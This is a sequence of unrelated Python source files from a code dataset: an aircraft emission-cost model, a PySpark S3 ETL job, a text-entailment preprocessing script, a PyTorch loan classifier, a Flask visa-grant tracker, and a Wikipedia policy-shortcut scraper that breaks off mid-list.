License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\nCopyright: Deutsches Zentrum fuer Luft- und Raumfahrt e.V., 2015 (c)\nContact: daniel.boehnke@dlr.de and jonas.jepsen@dlr.de\n'''\nfrom VAMPzero.Handler.Parameter import parameter\n\n\nclass costEmissionTrade(parameter):\n '''\n The cost arising from European Emission Trading per flight hour\n \n :Unit: [EU/h]\n '''\n\n def __init__(self, value=0., unit='EU/h', parent='', cpacsPath=''):\n super(costEmissionTrade, self).__init__(value=value, unit=unit, doc=self.__doc__, status='init', parent=parent,\n cpacsPath=cpacsPath)\n\n def calc(self):\n '''\n Calculates the emission cost from the EU-Emission Trading Scheme\n \n :Source: Evaluation of worldwide Noise and Pollutant Emission Cost for Integration into Direct Operating Cost Methods, A. Johanning, D. Scholz, DLRK, 2012. eq. 15-23\n :Source: Meeting Carbon Budgets the need for a step change, Committee on Climate Change (CCC), 2009, p. 17\n '''\n\n mBlock = self.parent.fuel.mFM.getValue()\n tFlight = self.parent.tFlight.getValue()\n\n #===============================================================================\n # Constants \n #===============================================================================\n co2 = 3.15 # amount of co2 generated per kg fuel\n fiscalyear = 2012. # year for the analysis\n pCO2freep = 0.82 # percentage of free certificates\n ctCO2m = 20. # 20/EURO per t CO2 as projected price for 2020, see CCC p.17\n nmov2010 = 64418742. # Number of aircraft movements in the world\n nmovEU2010 = 17596411. # Number of aircraft movements in the EU\n\n #===============================================================================\n # Calculation\n #===============================================================================\n # Emission of CO2 per flight\n eCO2 = mBlock * co2 / 1000.\n\n # Future CO2 Emission \n pCO2fut = 100. + 2.5 * (fiscalyear - 2005)\n # Amount of free Emissions\n pCO2free = pCO2freep / pCO2fut\n # Cost from Emission Certificates\n ctCO2 = (1 - pCO2free) * ctCO2m\n\n # number of aircraft movements in the world \n nmov = nmov2010 + 4.8 / 100. * nmov2010 * (fiscalyear - 2010)\n # number of aircraft movements in the EU\n nmovEU = nmovEU2010 + 4. / 100. * nmovEU2010 * (fiscalyear - 2010)\n #percentage of movements in EU\n pmovEU = nmovEU / nmov\n\n cost = ctCO2 * pmovEU * eCO2 / tFlight\n\n return self.setValueCalc(cost)\n\n ###################################################################################################\n #EOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFEOFE#\n ###################################################################################################=======","sub_path":"src/VAMPzero/Component/Main/DOC/costEmissionTrade.py","file_name":"costEmissionTrade.py","file_ext":"py","file_size_in_byte":3588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"112527464","text":"import configparser\nfrom datetime import datetime\nimport os\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql.functions import udf, col\nfrom pyspark.sql.functions import year, month, dayofmonth, hour, weekofyear, date_format\nfrom pyspark.sql.functions import from_unixtime\nfrom pyspark.sql.types import IntegerType\nfrom pyspark.sql.types import TimestampType\nfrom pyspark.sql.functions import monotonically_increasing_id\n\n\nconfig = configparser.ConfigParser()\nconfig.read('dl.cfg')\n\nos.environ['AWS_ACCESS_KEY_ID']=config['AWS']['AWS_ACCESS_KEY_ID']\nos.environ['AWS_SECRET_ACCESS_KEY']=config['AWS']['AWS_SECRET_ACCESS_KEY']\n\n\ndef create_spark_session():\n \"\"\"Return a new Spark Session object configured to work with AWS.\"\"\"\n spark = SparkSession \\\n .builder \\\n .config(\"spark.jars.packages\", \"org.apache.hadoop:hadoop-aws:2.7.0\") \\\n .getOrCreate()\n return spark\n\n\ndef process_song_data(spark, input_data, output_data):\n \"\"\"Process song data with spark and store output.\n\n Keyword arguments:\n spark -- spark session object\n input_data -- filepath to input data files\n output_data -- filepath to store output data files\n \"\"\"\n # get filepath to song data file\n song_data = input_data + 'song_data/*/*/*/*.json'\n\n # read song data file\n df = spark.read.json(song_data)\n\n # extract columns to create songs table\n songs_table = df.select('song_id', \\\n 'title', \\\n 'artist_id', \\\n 'year', \\\n 'duration').distinct()\n\n # write songs table to parquet files partitioned by year and artist\n songs_table.write.parquet(path = output_data + 'songs/', \\\n partitionBy = ('year', 'artist_id'))\n\n # extract columns to create artists table\n artists_table = df.select('artist_id', \\\n 'artist_name', \\\n 'artist_location', \\\n 'artist_latitude', \\\n 'artist_longitude').distinct()\n\n # write artists table to parquet files\n artists_table.write.parquet(path = output_data + 'artists/')\n\n\ndef process_log_data(spark, input_data, output_data):\n \"\"\"Process log data with spark and store output.\n\n Keyword arguments:\n spark -- spark session object\n input_data -- filepath to input data files\n output_data -- filepath to store output data files\n \"\"\"\n # get filepath to log data file\n log_data = input_data + 'log_data/*/*/*.json'\n\n # read log data file\n df = spark.read.json(log_data)\n\n # filter by actions for song plays\n df = df.select('*').where(df['page'] == 'NextSong')\n\n # extract columns for users table\n users_table = df.select(df['userId'].alias('user_id'), \\\n df['firstName'].alias('first_name'), \\\n df['lastName'].alias('last_name'), \\\n df['gender'], \\\n df['level']).distinct()\n\n # write users table to parquet files\n users_table.write.parquet(path = output_data + 'users/')\n\n # create timestamp column from original timestamp column\n get_timestamp = udf(lambda x: x/1000, IntegerType())\n df = df.withColumn('start_time', get_timestamp('ts'))\n\n # create datetime column from original timestamp column\n get_datetime = udf(lambda x: from_unixtime(x), TimestampType())\n df = df.withColumn('datetime', from_unixtime('start_time'))\n\n # extract columns to create time table\n time_table = df.select('start_time', \\\n hour('datetime').alias('hour'), \\\n dayofmonth('datetime').alias('day'), \\\n weekofyear('datetime').alias('week'), \\\n month('datetime').alias('month'), \\\n year('datetime').alias('year'), \\\n date_format('datetime', 'u').alias('weekday'))\n\n # write time table to parquet files partitioned by year and month\n time_table.write.parquet(path = output_data + 'time/', \\\n partitionBy = ('year', 'month'))\n\n # read in song data to use for songplays table\n song_df = spark.read.json(input_data + 'song_data/*/*/*/*.json')\n\n # extract columns from joined song and log datasets to create songplays table\n songplays_table = df.join(song_df, df['song'] == song_df['title']) \\\n .select(monotonically_increasing_id().alias('songplay_id'),\n 'start_time',\n year('datetime').alias('year'),\n month('datetime').alias('month'),\n df['userId'].alias('user_id'),\n 'level',\n 'song_id',\n 'artist_id',\n df['sessionId'].alias('session_id'),\n 'location',\n df['userAgent'].alias('user_agent'))\n\n # write songplays table to parquet files partitioned by year and month\n songplays_table.write.parquet(path = output_data + 'songplays/', \\\n partitionBy = ('year', 'month'))\n\n\ndef main():\n \"\"\"Start a spark session and process song and log data.\"\"\"\n spark = create_spark_session()\n input_data = \"s3a://udacity-dend/\"\n output_data = \"s3://ucourse-dend-spark/\"\n\n process_song_data(spark, input_data, output_data)\n process_log_data(spark, input_data, output_data)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"etl.py","file_name":"etl.py","file_ext":"py","file_size_in_byte":5576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"135627830","text":"# 1: food\n# 2: infra\n# 3: med\n# 4: search\n# 5: shelter\n# 6: utils\n# 7: water\n# 8:crimeviolence\n# 9: out-of-domain\nimport codecs\ndef reformat_BBN_SF_data():\n type_set = set(['food', 'infra', 'med', 'search', 'shelter', 'utils', 'water', 'crimeviolence', 'terrorism','evac','regimechange','out-of-domain'])\n type2hypothesis = {\n 'food': ['people there need food', 'people are in the shortage of food'],\n 'infra':['the infrastructures are destroyed, we need build new'],\n 'med': ['people need medical assistance'],\n 'search': ['some people are missing or buried, we need to provide search and rescue'],\n 'shelter': ['Many houses collapsed and people are in desperate need of new places to live.'],\n 'utils': ['The water supply and power supply system is broken, and the basic living supply is urgently needed.'],\n 'water': ['people are in the shortage of water', 'Clean drinking water is urgently needed'],\n 'crimeviolence': ['There was violent criminal activity in that place.'],\n 'terrorism': ['There was a terrorist activity in that place, such as an explosion, shooting'],\n 'evac': ['This place is very dangerous and it is urgent to evacuate people to safety.'],\n 'regimechange': ['Regime change happened in this country']}\n BBNread = codecs.open('/save/wenpeng/datasets/LORELEI/SF-BBN-Mark-split/full_BBN_multi.txt', 'r', 'utf-8')\n writefile = codecs.open('/home/wyin3/Datasets/MNLI-SNLI-SciTail-RTE-SICK/BBN.SF.txt', 'w', 'utf-8')\n size = 0\n for line in BBNread:\n parts=line.strip().split('\\t') #lowercase all tokens, as we guess this is not important for sentiment task\n if len(parts)==3:\n sent1=parts[2].strip()\n label_strset = set(parts[1].strip().split())\n if len(label_strset - type_set) >0:\n print(label_strset)\n exit(0)\n for label in type_set:\n if label != 'out-of-domain':\n if label in label_strset:\n hype_list = type2hypothesis.get(label)\n for hypo in hype_list:\n writefile.write('1\\t'+sent1+'\\t'+hypo+'\\n')\n else:\n hype_list = type2hypothesis.get(label)\n for hypo in hype_list:\n writefile.write('0\\t'+sent1+'\\t'+hypo+'\\n')\n size+=1\n BBNread.close()\n writefile.close()\n print('BBN SF data reformat over, size:', size)\n\nif __name__ == '__main__':\n reformat_BBN_SF_data()\n","sub_path":"src/preprocess_SF.py","file_name":"preprocess_SF.py","file_ext":"py","file_size_in_byte":2539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"27304918","text":"# : Convolutional Autoencoder - Module\n# \n# Date: 2020/11/18\n# CourseID: 10910QF 510300\n# Course: Special Topics on Financial Engineering (Graduated)\n# \n# Writer_ID: 109062631\n# Writer_Name: Wang, Chuan-Chun\n# Environment: \n# Software: Python 3.8.5 on 64-bit Windows 10 Pro (2004)\n# Hardware: Intel i7-10510U, 16GB DDR4 non-ECC ram, and no discrete GPU\nimport itertools\nimport math\nfrom multiprocessing import Pool\nimport numpy\nimport pandas\nimport pickle\nimport random\nfrom sklearn.preprocessing import LabelEncoder\nimport time\nimport torch\nimport torch.nn\nimport torch.nn.functional\nfrom torch import optim\n\n\n########## Classes ##########\nclass CONST:\n # Define some constants\n row_pixel = lambda : 26\n col_pixel = lambda : 26\n tv_ratio = lambda : 0.8 # training validation ratio\n batch_size = lambda : 32768\n id_col = lambda : ['id', 'member_id']\n epoch_num = lambda : 1000\n lr_rate = lambda : 0.25\n\n\nclass DROP:\n col_dict = {}\n row_dict = {}\n\n\nclass FCModel(torch.nn.Module):\n def __init__(self, input_dim):\n super(FCModel, self).__init__()\n self.fc1 = torch.nn.Sequential(\n torch.nn.Linear(in_features=input_dim, out_features=10000),\n torch.nn.ReLU()\n )\n self.fc2 = torch.nn.Sequential(\n torch.nn.Linear(in_features=10000, out_features=100),\n torch.nn.ReLU()\n )\n self.fc3 = torch.nn.Sequential(\n torch.nn.Linear(in_features=100, out_features=10),\n torch.nn.ReLU()\n )\n self.fc4 = torch.nn.Sequential(\n torch.nn.Linear(in_features=100, out_features=10),\n torch.nn.ReLU()\n )\n self.fc5 = torch.nn.Sequential(\n torch.nn.Linear(in_features=50, out_features=25),\n torch.nn.ReLU()\n )\n self.fc6 = torch.nn.Sequential(\n torch.nn.Linear(in_features=10, out_features=2),\n torch.nn.LogSoftmax(dim=1)\n )\n \n def forward(self, x):\n x = self.fc1(x)\n x = self.fc2(x)\n x = self.fc3(x)\n #x = self.fc4(x)\n #x = self.fc5(x)\n x = self.fc6(x)\n x = x[:, 0]\n return x\n\n\n########## Functions ##########\ndef readCSV(file_path):\n with open(file_path, 'r', encoding='utf-8') as fp:\n input_df = pandas.read_csv(fp)\n return input_df.rename(columns={'Unnamed: 0': 'upload_index'})\n\n\ndef compColDescription():\n with open('DataDictionary.xlsx', 'rb') as fp1, open('./Training/X_train.csv', 'r') as fp2:\n input_df = pandas.read_excel(fp1, skiprows=[0], sheet_name='LoanStats', header=None)\n xlsx_col = [FUNC.tokenize(i)[0] for i in list(input_df[0])] # Discard whitespace at the end of string\n data_col = FUNC.tokenize(fp2.readline())\n \n for i in xlsx_col:\n if i not in data_col:\n print(i)\n else:\n pass\n\n\ndef saveDataFrameToPK():\n pool = Pool()\n drop = DROP()\n \n # Read raw csv data into two pandas DataFrames\n train = {}\n train['X'], train['Y'] = readCSV('./Training/X_train.csv'), readCSV('./Training/Y_train.csv')\n \n # Find all ROWs that contain only NaN\n drop.row_dict['all_nan'] = pool.map(checkAllNaNRow, itertools.product(train['X'].index, [train['X'].drop(CONST.id_col()+['upload_index'], axis=1)]))\n drop.row_dict['all_nan'] = list(set(drop.row_dict['all_nan']))\n drop.row_dict['all_nan'].sort()\n drop.row_dict['all_nan'].pop(0) # Pop out the 1st element '-1'\n \n # Find all COLumns whose dtype is 'object' (i.e., string)\n drop.col_dict['str'] = [col_name for col_name in train['X'].columns if train['X'][col_name].dtype == 'object']\n \n # Find all COLumns that contain more than 10% nan values\n drop.col_dict['almost_nan'] = []\n for col_name in train['X'].columns:\n if train['X'][col_name].isnull().sum()/len(train['X'][col_name]) > 0.1:\n drop.col_dict['almost_nan'].append(col_name)\n drop.col_dict['almost_nan'].sort()\n \n # COLumns contain only id (excluded 'upload_index')\n drop.col_dict['id'] = CONST.id_col()\n \n # Drop rows that found at previous steps\n for key in drop.row_dict.keys():\n train['X'] = train['X'].drop(drop.row_dict[key], errors='ignore')\n train['Y'] = train['Y'].drop(drop.row_dict[key], errors='ignore')\n \n # Drop columns that found at previous steps\n for key in drop.col_dict.keys():\n train['X'] = train['X'].drop(drop.col_dict[key], axis=1, errors='ignore')\n \n # 'upload_index' is only important to X_test and Y_test, useless to 'X_train' and 'Y_train'\n train['X'] = train['X'].drop('upload_index', axis=1, errors='ignore')\n train['Y'] = train['Y'].drop('upload_index', axis=1, errors='ignore')\n \n # Fill nan value with mean of that columns\n train['X'] = train['X'].fillna(train['X'].mean())\n \n # Store Dataframe into .pk file\n with open('./Training/train.pk', 'wb') as f:\n pickle.dump(train, f)\n \n pool.close()\n exit()\n\n\ndef checkAllNaNRow(pack_tuple):\n row_index, pandas_df = pack_tuple\n if pandas_df.iloc[row_index].isnull().all() == True:\n return row_index\n else:\n return -1\n\n\ndef saveHist(pack_tuple):\n ndarray, file_name = pack_tuple\n pyplot.hist(ndarray)\n pyplot.gcf().savefig(file_name)\n pyplot.clf() # Clear the current figure and axes\n\n\n# return training_part, validation_part\ndef splitDataset(total_dataset):\n division_index = int(CONST.tv_ratio()*len(total_dataset['X'].index))\n \n train_part = {'X' : total_dataset['X'][:division_index], 'Y' : total_dataset['Y'][:division_index]}\n valid_part = {'X' : total_dataset['X'][division_index:], 'Y' : total_dataset['Y'][division_index:]}\n return train_part, valid_part\n\n\ndef have_CUDA():\n if torch.cuda.is_available():\n return 'cuda'\n else:\n return 'cpu'\n\n\ndef lossFunc(y_predict, y_truth):\n BCE_loss = torch.nn.functional.binary_cross_entropy(x_recon, x)\n \n return BCE_loss\n\n\n# Main function\nif __name__ == \"__main__\":\n # Display pandas DataFrame without truncation\n pandas.set_option('display.max_columns', None)\n pandas.set_option('display.max_rows', None)\n \n # Generate .pk files\n #saveDataFrameToPK() # Would automatically exit() after saving DataFrame to .pk\n \n # Read .pk file\n # 'train' is a dict {'X': X_train.csv DataFrame after dropping cols and rows, 'Y': Y_train.csv DF after...}\n with open('./Training/train.pk', 'rb') as f:\n train = pickle.load(f)\n \n # Oversample dataset 'N' : 1834130, 'Y' : 298637\n combined_df = pandas.concat([train['X'], train['Y']], axis=1)\n largest_class_num = combined_df['loan_status'].value_counts().max()\n \n to_df_list = [combined_df]\n for _, group in combined_df.groupby('loan_status'):\n surplus_num = largest_class_num - len(group)\n to_df_list.append(group.sample(surplus_num, replace=True)) # Sample with replacement\n combined_df = pandas.concat(to_df_list).reset_index(drop=True) \n \n # Update training dataset with oversampling version\n X_part_cols = [col_name for col_name in combined_df.columns if col_name not in ['loan_status']]\n Y_part_cols = ['loan_status']\n train['X'] = combined_df[X_part_cols].copy() # Make a true copy, not a passing-reference\n train['Y'] = combined_df[Y_part_cols].copy() # Make a true copy, not a passing-reference\n del combined_df # Release memory space used by DataFrame\n \n # Feature normalization for X_part data\n for col_name in train['X'].columns:\n train['X'][col_name] = train['X'][col_name] - train['X'][col_name].mean()\n \n # Encode label 'Y' into 1 and 'N' into 0\n sklearn_LE = LabelEncoder()\n sklearn_LE.fit(['N', 'Y'])\n train['Y']['loan_status'] = sklearn_LE.transform(train['Y']['loan_status'])\n \n # Shuffle dataset\n rand_int = int(time.time())\n train['X'] = train['X'].sample(frac=1, random_state=0).reset_index(drop=True)\n train['Y'] = train['Y'].sample(frac=1, random_state=0).reset_index(drop=True)\n \n # Split whole training dataset into training part and validation part\n train_train_part, train_valid_part = splitDataset(train)\n \n # Prepare PyTorch DataLoader\n train_train_tensor_X = torch.Tensor(train_train_part['X'].to_numpy())\n train_train_tensor_Y = torch.Tensor(train_train_part['Y'].to_numpy())\n \n torch_dataset = torch.utils.data.TensorDataset(train_train_tensor_X, train_train_tensor_Y)\n torch_loader = torch.utils.data.DataLoader(torch_dataset, batch_size=CONST.batch_size(), num_workers=0)\n \n # Prepare some initial steps\n hw_device = have_CUDA()\n fc_model = FCModel(input_dim=train_train_tensor_X.shape[1])\n optimizer = torch.optim.Adam(fc_model.parameters(), lr=CONST.lr_rate())\n fc_model.cuda() # or fc_model.to(hw_device)\n fc_model.train() # Enable self.training to True\n \n for epoch in range(CONST.epoch_num()):\n epoch_start = time.time()\n cur_loss = 0.0\n for data, label in torch_loader:\n data, label = data.cuda(), label.cuda() # Map data into HW device\n predict = fc_model(data)\n \n # Calculate loss value\n loss_func = torch.nn.MSELoss()\n temp_loss = loss_func(predict, label.view(-1))\n \n # Backward propagation\n optimizer.zero_grad() # Set all the gradients to zero before backward propragation\n temp_loss.backward()\n \n # Performs a single optimization step.\n optimizer.step()\n cur_loss += temp_loss.item() * data.size(0)\n \n cur_loss = cur_loss / len(torch_loader)\n print('Epoch: {}\\tTraining loss: {:.4f}\\tEpoch time: {:.2f}'.format(epoch+1, cur_loss, time.time()-epoch_start))\n '''\n for i in train['X'].columns:\n pyplot.hist(train['X'][col_name])\n pyplot.gcf().savefig('./img/'+str(col_name)+'.png')\n pyplot.clf() # Clear the current figure and axes\n '''\n\n\n# Other codes\n#print(train_data['X'].info(memory_usage='deep', verbose=True))\n#pool.map(saveHist, [(train['X'][col_name], './img/'+str(col_name)+'.png') for col_name in train['X'].columns])\n","sub_path":"AIFinPitch/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":10541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"295880185","text":"# Run with\n# export FLASK_APP=./tracker.py && flask run\n\nfrom flask import Flask, jsonify\nfrom flask import jsonify\nimport requests\nimport pandas\nimport json\nimport math\nimport datetime\n\nLODGE_DATE = datetime.datetime.strptime('2018-04-05', \"%Y-%m-%d\")\n\napp = Flask(__name__)\n\n\ndef normcdf(x, mu, sigma):\n return 0.5*(1+math.erf((x-mu)/(sigma*math.sqrt(2.0))));\n\n\ndef query_data():\n url = 'https://myimmitracker.com/au/trackers/consolidated-visa-tracker-sc189/cases'\n headers = {\n 'pragma': 'no-cache',\n 'accept-encoding': 'gzip, deflate, br',\n 'accept-language': 'en-US,en;q=0.9,af;q=0.8',\n 'accept': 'application/json;charset=UTF-8',\n 'x-requested-with': 'XMLHttpRequest',\n }\n res_length = 100\n c = 0\n data = []\n while res_length == 100:\n params = {\n 'start': c * 100,\n }\n res = requests.get(url, headers=headers, params=params)\n data = data + res.json()['values']\n res_length = len(res.json()['values'])\n c = c + 1\n\n df = pandas.DataFrame(data)\n old_columns = ['xebet-tycyf-rebud-vahot-tuvag-vivyl-zisab-byvac-nyxox',\n 'xomov-gaver-pusis-lutud-mebon-vidil-boror-lyzat-vexox',\n 'xohiv-licym-babal-rozor-piser-girec-suzis-zemil-cexex',\n 'xetec-lypog-vohas-hidov-lodyf-cofuz-muhyn-higar-vyxyx',\n 'xopid-vasud-fegol-fucov-malud-pinec-hisig-pykyn-soxex',\n 'xigol-nelov-sohet-ralup-hesyh-mecul-syvat-bolam-boxix']\n new_columns = ['status',\n 'lodge_date',\n 'grant_date',\n 'occupation_code',\n 'nationality',\n 'occupation']\n\n df = df[old_columns]\n df.columns = new_columns\n df.grant_date = pandas.to_datetime(df.grant_date)\n df.lodge_date = pandas.to_datetime(df.lodge_date)\n df = df.sort_values('grant_date')\n return df\n\ndef format_case_dict(case):\n case['negative_index'] = (datetime.datetime.now() - case['grant_date']).days\n case['grant_date'] = str(case['grant_date'])[:10]\n case['lodge_date'] = str(case['lodge_date'])[:10]\n return case\n\ndef fit(samples):\n samples = sorted(samples)\n center = (max(samples[5:-5]) - min(samples[5:-5])) / 2 + min(samples[5:-5])\n samples_1 = [x for x in samples if x < center]\n samples_2 = [x for x in samples if x >= center]\n\n n_1 = len(samples_1)\n n_2 = len(samples_2)\n\n mean_1 = sum(samples_1)/n_1\n sigma_1 = math.sqrt(sum((samples_1-mean_1)**2)/float(n_1))\n w_1 = float(n_1) / (n_1 + n_2)\n\n mean_2 = sum(samples_2)/n_2\n sigma_2 = math.sqrt(sum((samples_2-mean_2)**2)/float(n_2))\n w_2 = float(n_2) / (n_1 + n_2)\n\n return w_1, mean_1, sigma_1, w_2, mean_2, sigma_2\n\n\n@app.route(\"/visa\", methods=['GET'])\ndef get_data():\n df = query_data()\n df = df.dropna()\n df['days_to_grant'] = df['grant_date'] - df['lodge_date']\n df['days_to_grant'] = df['days_to_grant'].apply(lambda x: x.days)\n df['rolling_mean_10'] = df['days_to_grant'].rolling(window=10).mean()\n df['rolling_mean_50'] = df['days_to_grant'].rolling(window=50).mean()\n df['rolling_mean_100'] = df['days_to_grant'].rolling(window=100).mean()\n df = df.iloc[100:, :]\n\n n = 200\n samples = df.sort_values('grant_date')['days_to_grant'].values[-n:]\n w_1, mean_1, sigma_1, w_2, mean_2, sigma_2 = fit(samples)\n\n dates = [(LODGE_DATE + datetime.timedelta(days=x)) for x in range(300)]\n days = [(x - LODGE_DATE).days for x in dates]\n probabilities = [normcdf(day, mean_1, sigma_1) * w_1 + normcdf(day, mean_2, sigma_2) * w_2 for day in days]\n\n distribution = {\n 'data_range': {\n 'samples': n,\n 'lodge_date': str(df.sort_values('grant_date')['grant_date'].values[-n])[:10],\n 'end_date': str(df.sort_values('grant_date')['grant_date'].values[-1])[:10],\n },\n 'cdf': {\n 'values': [p*100 for p in probabilities],\n 'dates': [str(date)[:10] for date in dates]\n }\n }\n\n cases = df.to_dict(orient='records')\n cases = [format_case_dict(case) for case in cases]\n\n data = {\n 'cases': cases,\n 'distribution': distribution,\n 'expected_date': str(LODGE_DATE + datetime.timedelta(days=int(df['rolling_mean_100'].values[-1])))[:10],\n 'last_grant_date': str(df['grant_date'].values[-1])[:10],\n 'last_lodge_date_granted': str(df.tail(20).sort_values('lodge_date')['lodge_date'].values[-1])[:10],\n 'today': str(datetime.datetime.now())[:10]\n }\n\n return jsonify(data)\n\n\n","sub_path":"python-services/tracker.py","file_name":"tracker.py","file_ext":"py","file_size_in_byte":4587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"633839500","text":"#!/usr/bin/env python3\r\n\r\n# extract the URLs\r\n# get the shortcuts from the box\r\n# add to the TSV file\r\n\r\n# each row:\r\n# CAT URL PAGETITLE SHORTCUT1 SHORTCUT2 ... SHORTCUT#\r\n\r\nfrom bs4 import BeautifulSoup\r\nimport requests\r\nimport re\r\nimport csv\r\n\r\n# get the pages with lists of policies and guidelines\r\n# ENGLISH\r\nen_pol_list_pg = requests.get(\"https://en.wikipedia.org/wiki/Wikipedia:List_of_policies\").text\r\nen_gl_list_pg = requests.get(\"https://en.wikipedia.org/wiki/Wikipedia:List_of_guidelines\").text\r\n\r\nlist_pages = [en_gl_list_pg,en_pol_list_pg]\r\nlist_pages_names = [\"en_guidelines\",\"en_policies\"]\r\n\r\nfor i in range(0,len(list_pages)):\r\n p = list_pages[i]\r\n \r\n #create a new tsv file\r\n filename = '{}.tsv'.format(list_pages_names[i])\r\n print(filename)\r\n\r\n #create the html soup to work with\r\n soup = BeautifulSoup(p, 'html.parser')\r\n\r\n #narrow down\r\n section = soup.find_all(class_=\"mw-parser-output\")\r\n\r\n #specify relevant headers\r\n headers = soup.find_all(\"h2\")\r\n # get rid of headers we don't want or need\r\n headers = headers[1:-3] \r\n header_titles = []\r\n for h in headers:\r\n for string in h.contents[0].strings:\r\n header_titles.append(string)\r\n\r\n #get the actual policy/guideline infos\r\n dts = soup.select(\"dl dt\")\r\n #length of dts is 63\r\n\r\n\r\n # where we will put the rows to store\r\n rows = []\r\n\r\n #for each found policy/guideline\r\n for dt in dts:\r\n header = dt.find_parent(\"dl\").find_previous_sibling(\"h2\")\r\n cat = \"\"\r\n for x in header.contents[0].strings:\r\n cat = x\r\n\r\n # we grab the URL if it's in a relevant header\r\n if cat in header_titles:\r\n #get the url\r\n # exceptions in formatting re: guidelines page\r\n exc = [\"Miscellaneous content guidelines\",\"Categorization guidelines\",\"Miscellaneous editing guidelines\",\"Miscellaneous naming conventions\",\r\n \"Other notability guidelines\",\"Other formatting and layout style guides\",\"Style guidelines for images\",\"List style guidelines\",\"Other content style guidelines\",\r\n \"Arts\",\"Music\",\"Legal\",\"Regional\",\"Religion\",\"Science\",\"Sports\"]\r\n\r\n if dt.string in exc:\r\n print(dt.string)\r\n a_tags = dt.find_next_sibling(\"dd\").select(\"a\")\r\n for a in a_tags:\r\n url = 'https://en.wikipedia.org{}'.format(a.get('href'))\r\n\r\n #get the title\r\n title = a.string\r\n \r\n #get the shortcuts\r\n #access the policy/guideline page\r\n outlink_pg = requests.get(url).text\r\n minisoup = BeautifulSoup(outlink_pg, 'html.parser')\r\n\r\n temp = []\r\n #Wikipedia:title of page\r\n temp.append(minisoup.find(\"h1\").string)\r\n\r\n #shortcuts\r\n mods = minisoup.find_all(class_=\"module-shortcutlist\")\r\n \r\n for m in mods:\r\n shortcuts = m.find_next_sibling(\"ul\")\r\n for s in shortcuts:\r\n temp.append(s.string)\r\n \r\n\r\n #if this is the guideline page, want to double-check the top box as well\r\n if 'guidelines' in filename:\r\n top_box = minisoup.select(\"div.shortcutbox.noprint > div.plainlist > ul > li\")\r\n #print(test)\r\n for x in top_box:\r\n temp.append(x.string)\r\n #print(x.string)\r\n\r\n #remove any duplicates from temp\r\n temp = list(dict.fromkeys(temp))\r\n \r\n row = [cat,url,title,temp]\r\n rows.append(row)\r\n\r\n print(title)\r\n print(len(temp), \": {}...\".format(temp[:5]))\r\n print(\" \")\r\n\r\n else:\r\n url = 'https://en.wikipedia.org{}'.format(dt.a.get('href'))\r\n \r\n #get the title\r\n title = dt.a.string\r\n \r\n #get the shortcuts\r\n #access the policy/guideline page\r\n outlink_pg = requests.get(url).text\r\n minisoup = BeautifulSoup(outlink_pg, 'html.parser')\r\n\r\n temp = []\r\n #Wikipedia:title of page\r\n temp.append(minisoup.find(\"h1\").string)\r\n\r\n #shortcuts\r\n mods = minisoup.find_all(class_=\"module-shortcutlist\")\r\n \r\n for m in mods:\r\n shortcuts = m.find_next_sibling(\"ul\")\r\n for s in shortcuts:\r\n temp.append(s.string)\r\n \r\n\r\n #if this is the guideline page, want to double-check the top box as well\r\n if 'guidelines' in filename:\r\n top_box = minisoup.select(\"div.shortcutbox.noprint > div.plainlist > ul > li\")\r\n #print(test)\r\n for x in top_box:\r\n temp.append(x.string)\r\n #print(x.string)\r\n\r\n #remove any duplicates from temp\r\n temp = list(dict.fromkeys(temp))\r\n \r\n row = [cat,url,title,temp]\r\n rows.append(row)\r\n\r\n print(title)\r\n print(len(temp), \": {}...\".format(temp[:5]))\r\n print(\" \")\r\n\r\n #print(cat)\r\n #print(url)\r\n #print(title)\r\n #print(len(temp), \": {}...\".format(temp[:5]))\r\n #print(\" \")\r\n \r\n # add to guidelines file\r\n if \"guideline\" in filename:\r\n cross_checked = [\"https://en.wikipedia.org/wiki/Wikipedia:Scientific_citation_guidelines\", \r\n \"https://en.wikipedia.org/wiki/Wikipedia:Artist%27s_impressions_of_astronomical_objects\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:In_the_news/Recurring_items\", \r\n \"https://en.wikipedia.org/wiki/Wikipedia:Identifying_reliable_sources_(medicine)\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:Indic_transliteration\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:Non-free_use_rationale_guideline\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:Public_domain\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:WikiProject_Economics/Reliable_sources_and_weight\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:Shortcut\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:Project_namespace\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:Reference_desk/Guidelines/Medical_advice\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:Talk_page_templates\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:Userboxes\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:Template_namespace\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:Miscellany_for_deletion/Speedy_redirect\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:As_of\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:Extended_image_syntax\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:Disambiguation/PrimaryTopicDefinition\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:Overcategorization/User_categories\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:Spellchecking\",\r\n \"https://en.wikipedia.org/wiki/Wikipedia:TemplateStyles\",\r\n 